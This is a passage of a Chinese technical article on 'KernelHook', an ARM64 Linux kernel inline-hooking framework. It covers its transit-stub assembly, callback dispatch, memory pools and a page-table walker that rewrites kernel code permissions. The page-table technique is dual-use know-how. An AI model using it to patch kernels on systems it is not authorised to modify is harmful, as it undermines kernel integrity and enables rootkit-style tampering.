0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4 中转桩</span></h2><h3 data-line="368" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4.1 设计目标</span></h3><p data-line="368" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">直接替换模式（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook</span></code><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">unhook</span></code><span leaf="">）下，跳板直接跳到替换函数。但回调链模式（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_wrap</span></code><span leaf="">）需要中间层——中转桩（transit stub）——来调度 before/after 回调、管理参数传递和返回值。</span></p><h3 data-line="372" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4.2 汇编模板</span></h3><p data-line="372" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">中转桩的汇编模板定义在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/arch/arm64/transit.c</span></code><span leaf="">，编译时作为独立代码模板存在。每次注册新 Hook 时，模板被复制到 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_chain_rox_t.transit[]</span></code><span leaf=""> 缓冲区，同时将 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">transit[0..1]</span></code><span leaf=""> 写入指向所属 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_chain_rox_t</span></code><span leaf=""> 的自引用指针。</span></p><p data-line="374" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">中转桩执行流程：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="376" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">BTI  JC                          ; 满足 BTI 要求</span><br/><span leaf="">ADR  X16, <a class="wx_topic_link" topic-id="mnx5sygg-bomxyq" style="color: #576B95 !important;" data-topic="1" data-recommend="">#0</a>                     ; 取当前 PC</span><br/><span leaf="">SUB  X16, X16, <a class="wx_topic_link" topic-id="mnx5sygg-wf3uo2" style="color: #576B95 !important;" data-topic="1" data-recommend="">#offset</a>           ; 回算 transit[] 基址</span><br/><span leaf="">LDR  X15, [X16]                  ; 加载 rox_ptr（自引用）</span><br/><span leaf="">LDR  X14, [X15, <a class="wx_topic_link" topic-id="mnx5sygg-mq35t7" style="color: #576B95 !important;" data-topic="1" data-recommend="">#rw</a>_offset]      ; 加载 rw_ptr</span><br/><span leaf="">STP  X29, X30, [SP, #-frame]!    ; 保存帧</span><br/><span leaf="">; 参数右移：X7-&gt;栈, X6-&gt;X7, ..., X1-&gt;X2, X0-&gt;X1</span><br/><span leaf="">; 腾出 X0 传递 rw_ptr</span><br/><span leaf="">MOV  X0, X14</span><br/><span leaf="">BLR  transit_body                 ; 调用 C 调度函数</span><br/><span leaf="">LDP  X29, X30, [SP], <a class="wx_topic_link" topic-id="mnx5sygg-gdio1b" style="color: #576B95 !important;" data-topic="1" data-recommend="">#frame</a>      ; 恢复帧</span><br/><span leaf="">RET</span></code></pre><h3 data-line="396" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4.3 调度逻辑</span></h3><p data-line="396" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">transit_body()</span></code><span leaf=""> 是纯 C 函数，负责组装回调上下文并按序遍历回调链：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">从 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rw_ptr</span></code><span leaf=""> 读取 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sorted_indices[]</span></code><span leaf=""> 和回调列表</span></p></li><li style=""><p><span leaf="">构建 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_fargs</span></code><span leaf=""> 结构体，填入参数、返回值、本地存储</span></p></li><li style=""><strong><span leaf="">正序</span></strong><p><span leaf="">遍历 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sorted_indices[]</span></code><span leaf="">，依次调用每个 before 回调</span></p></li><li style=""><p><span leaf="">若无回调设置 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skip_origin = true</span></code><span leaf="">，调用重定位后的原始函数</span></p></li><li style=""><strong><span leaf="">逆序</span></strong><p><span leaf="">遍历 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sorted_indices[]</span></code><span leaf="">，依次调用每个 after 回调</span></p></li><li style=""><p><span leaf="">返回 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fargs.ret</span></code></p></li></ol><p data-line="405" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">函数指针 Hook 有独立的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fp_transit_body()</span></code><span leaf="">，步骤 4 调用保存的原始函数指针而非重定位代码。</span></p><h2 data-line="411" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5 内存管理</span></h2><h3 data-line="413" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5.1 内存池</span></h3><p data-line="411" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">KernelHook 自行管理两个内存池，避免频繁调用内核的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vmalloc</span></code><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vfree</span></code><span leaf="">：</span></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">池</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">用途</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">容量</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">块大小</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">权限</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ROX</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Hook 结构体、重定位代码、中转桩</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">1 MB</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">64 字节</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">读 + 执行</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">RW</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">回调链数据（槽位、排序索引等）</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">512 KB</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">64 字节</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">读 + 写</span></p></td></tr></tbody></table><p data-line="418" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">每个池用位图追踪块的分配状态。分配时线性扫描找到连续空闲块，释放时清除对应位。</span></p><p data-line="420" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_chain_rox_t</span></code><span leaf="">（含 64 字节对齐的 transit 缓冲区）分配在 ROX 池，占用多个连续块。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_chain_rw_t</span></code><span leaf=""> 分配在 RW 池，包含最多 8 个回调槽位和优先级排序索引数组。</span></p><h3 data-line="426" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5.2 来源映射</span></h3><p data-line="424" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">origin_map</span></code><span leaf=""> 是 128 项的线性表，记录原始函数地址到 ROX 结构体指针的映射。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">unhook</span></code><span leaf=""> 和 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_unwrap</span></code><span leaf=""> 通过此表快速定位对应的 Hook 结构体。</span></p><h3 data-line="430" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5.3 页表遍历</span></h3><p data-line="428" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Freestanding 模式下无法使用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_rw/ro/x</span></code><span leaf="">，需直接操作页表修改代码段权限。</span></p><p data-line="430" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">页表遍历器（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/arch/arm64/pgtable.c</span></code><span leaf="">）初始化步骤：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">读取 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TCR_EL1.TG1</span></code><span leaf="">，判断页大小（4K / 16K / 64K）</span></p></li><li style=""><p><span leaf="">读取 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TCR_EL1.T1SZ</span></code><span leaf="">，计算虚拟地址位宽和页表级数</span></p></li><li style=""><p><span leaf="">通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksyms</span></code><span leaf=""> 解析 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">swapper_pg_dir</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kimage_voffset</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">memstart_addr</span></code></p></li></ol><p data-line="436" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: 